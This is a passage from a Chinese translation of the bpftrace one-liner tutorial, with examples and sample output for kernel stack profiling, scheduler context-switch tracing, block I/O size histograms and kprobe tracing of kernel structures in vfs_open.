@[tracepoint:sched:sched_stat_runtime]: 212
@[tracepoint:sched:sched_wakeup]: 253
@[tracepoint:sched:sched_waking]: 253
@[tracepoint:sched:sched_switch]: 510
这里统计5秒内进程级的事件并打印。
- sched:
sched探针可以探测调度器的高级事件和进程事件如fork, exec和上下文切换。 - probe: 探针的完整名称。
- interval:s:5: 这是一个每5秒在每个CPU上触发一次的探针,它用来创建脚本级别的间隔或超时时间。
- exit(): 退出bpftrace。
9. 分析内核实时函数栈
# bpftrace -e 'profile:hz:99 { @[kstack] = count(); }'
Attaching 1 probe...
^C
[...]
@[
filemap_map_pages+181
__handle_mm_fault+2905
handle_mm_fault+250
__do_page_fault+599
async_page_fault+69
]: 12
[...]
@[
cpuidle_enter_state+164
do_idle+390
cpu_startup_entry+111
start_secondary+423
secondary_startup_64+165
]: 22122
以99赫兹的频率分析内核调用栈并打印次数统计。
- profile:hz:99: 这里所有cpu都以99赫兹的频率采样分析内核栈。为什么是99而不是100或者1000?我们想要抓取足够详细的内核执行时内核栈信息,但是频率太大影响性能。100赫兹足够了,但是我们不想用正好100赫兹,这样采样频率可能与其他定时事件步调一致,所以99赫兹是一个理想的选择。
- kstack: 返回内核调用栈。这里作为map的关键字,可以跟踪次数。这些输出信息可以使用火焰图可视化。此外
ustack用来分析用户级堆栈。
10. 调度器跟踪
# bpftrace -e 'tracepoint:sched:sched_switch { @[kstack] = count(); }'
^C
[...]
@[
__schedule+697
__schedule+697
schedule+50
schedule_timeout+365
xfsaild+274
kthread+248
ret_from_fork+53
]: 73
@[
__schedule+697
__schedule+697
schedule_idle+40
do_idle+356
cpu_startup_entry+111
start_secondary+423
secondary_startup_64+165
]: 305
这里统计进程上下文切换次数。以上输出被截断,只输出了最后两个结果。
- sched: 跟踪调度类别的调度器事件:sched_switch, sched_wakeup, sched_migrate_task等。
- sched_switch: 当线程释放cpu资源,当前不运行时触发。这里可能的阻塞事件:如等待I/O,定时器,分页/交换,锁等。
- kstack: 内核堆栈跟踪,打印调用栈。
- sched_switch在线程切换的时候触发,打印的调用栈是被切换出cpu的那个线程。像你使用其他探针一样,注意这里的上下文,例如comm, pid, kstack等等,并不一定反映了探针的目标的状态。
11. 块级I/O跟踪
# bpftrace -e 'tracepoint:block:block_rq_issue { @ = hist(args.bytes); }'
Attaching 1 probe...
^C
@:
[0, 1] 1 |@@ |
[2, 4) 0 | |
[4, 8) 0 | |
[8, 16) 0 | |
[16, 32) 0 | |
[32, 64) 0 | |
[64, 128) 0 | |
[128, 256) 0 | |
[256, 512) 0 | |
[512, 1K) 0 | |
[1K, 2K) 0 | |
[2K, 4K) 0 | |
[4K, 8K) 24 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@|
[8K, 16K) 2 |@@@@ |
[16K, 32K) 6 |@@@@@@@@@@@@@ |
[32K, 64K) 5 |@@@@@@@@@@ |
[64K, 128K) 0 | |
[128K, 256K) 1 |@@ |
以上是块I/O请求字节数的直方图。
- tracepoint:block: 块类别的跟踪点跟踪块级I/O事件。
- block_rq_issue: 当I/O提交到块设备时触发。
- args.bytes: 跟踪点block_rq_issue的参数成员bytes,表示提交I/O请求的字节数。
该探针的上下文是非常重要的: 它在I/O请求被提交给块设备时触发。这通常发生在进程上下文,此时通过内核的comm可以得到进程名;也可能发生在内核上下文,(如readahead),此时不能显示预期的进程号和进程名信息。
12. 内核结构跟踪
# cat path.bt
#ifndef BPFTRACE_HAVE_BTF
#include <linux/path.h>
#include <linux/dcache.h>
#endif
kprobe:vfs_open
{
printf("open path: %s\n", str(((struct path *)arg0)->dentry->d_name.name));
}
# bpftrace path.bt
Attaching 1 probe...
open path: dev
open path: if_inet6
open path: retrans_time_ms
[...]
这里使用内核动态跟踪技术跟踪vfs_read()函数,该函数的(struct path *)作为第一个参数。
- kprobe: 如前面所述,这是内核动态跟踪kprobe探针类型,跟踪内核函数的调用(kretprobe探针类型跟踪内核函数返回值)。
arg0是一个内建变量,表示探针的第一个参数,其含义由探针类型决定。对于kprobe类型探针,它表示函数的第一个参数。其它参数使用arg1,...,argN访问。((struct path *)arg0)->dentry->d_name.name: 这里arg0作为struct path *并引用dentry。- #include: 在没有BTF (BPF Type Format) 的情况下,包含必要的path和dentry类型声明的头文件。
bpftrace对内核结构跟踪的支持和bcc是一样的,允许使用内核头文件。这意味着大多数结构是可用的,但是并不是所有的,有时需要手动增加某些结构的声明。例如这个例子,见dcsnoop tool,包含struct nameidata的声明。倘若内核有提供BTF数据,则所有结构都可用。
现在,你已经理解了bpftrace的大部分功能,你可以开始使用和编写强大的一行命令。查阅参考手册更多的功能。
原文地址:https://github.com/iovisor/bpftrace/blob/master/docs